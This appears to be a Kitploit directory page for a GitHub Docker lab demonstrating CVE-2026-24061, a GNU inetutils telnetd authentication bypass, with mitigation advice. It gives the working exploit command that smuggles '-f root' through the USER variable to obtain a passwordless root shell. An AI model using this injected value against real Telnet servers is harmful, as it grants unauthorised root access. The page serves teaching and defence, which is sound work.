Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
telnet-inetutils-auth-bypass-CVE-2026-24061 — This is a simple PoC that allows you to highlight the severity of the ongoing and actively exploited Telnet bug that is going on right now. Why people are still using Telnet... beyond me. | Kitploit
Tools/GitHubGitHub/jakeswiz/telnet-inetutils-auth-bypass-cve-2026-24061
Container SecurityVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjakeswiz/telnet-inetutils-auth-bypass-cve-2026-24061

telnet-inetutils-auth-bypass-CVE-2026-24061

This is a simple PoC that allows you to highlight the severity of the ongoing and actively exploited Telnet bug that is going on right now. Why people are still using Telnet... beyond me.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
16 months agoNot yet reviewed

CVE-2026-24061: GNU inetutils-telnetd Authentication Bypass

A Docker lab to demonstrate CVE-2026-24061 — a critical authentication bypass vulnerability in GNU inetutils telnetd that went unpatched for 11 years.

The Vulnerability

Telnetd passes the USER environment variable directly to /usr/bin/login without sanitization. The login binary has a -f flag that skips authentication (intended for pre-authenticated sessions). By setting USER='-f root', an attacker tricks login into granting root access without a password.

Affected versions: GNU inetutils 1.9.3 (March 2015) through 2.7 CVSS Score: 9.8 (Critical) Fix: Update to inetutils 2.8+

Quick Start

root@kitploit:~
# Build the image
docker build -t telnetd-exploit .

# Run the container (drops you into a shell as user1)
docker run --rm -it telnetd-exploit

# Exploit — get root without a password
USER='-f root' telnet -a localhost

You'll land in a root shell. Run whoami to confirm.

How It Works

root@kitploit:~
1. Client connects with: USER='-f root' telnet -a localhost
2. telnetd receives USER environment variable: "-f root"
3. telnetd executes: /usr/bin/login -f root
4. login interprets -f as "skip authentication, user is pre-verified"
5. Attacker gets root shell — no password required

Why -f Exists

The -f flag is legitimate — it's for scenarios where a user is already authenticated (e.g., from a trusted local session). The bug is that telnetd doesn't sanitize the USER variable before passing it to login, allowing remote attackers to inject the flag.

Impact

As of January 2026:

  • ~800,000 Telnet servers exposed globally (Shadowserver)
  • ~290,000 indexed on Shodan
  • Vulnerability actively exploited in the wild (CISA KEV catalog)

Why You Shouldn't Use Telnet

Even without this bug, Telnet transmits everything in plaintext — including passwords. Use SSH instead.

ProtocolEncryptionAuthentication
TelnetNonePlaintext
SSHYesKey/Password

Files

root@kitploit:~
.
├── Dockerfile              # Builds vulnerable Debian container
├── docker-entrypoint.sh    # Starts inetd, drops to user1
└── README.md

Mitigation

  1. Update to GNU inetutils 2.8+
  2. Disable telnetd — block port 23
  3. Use SSH — it's 2026

References

  • CVE-2026-24061
  • Original Advisory
  • CISA KEV Entry

Credits

Lab based on leonjza/inetutils-telnetd-auth-bypass

Download Tool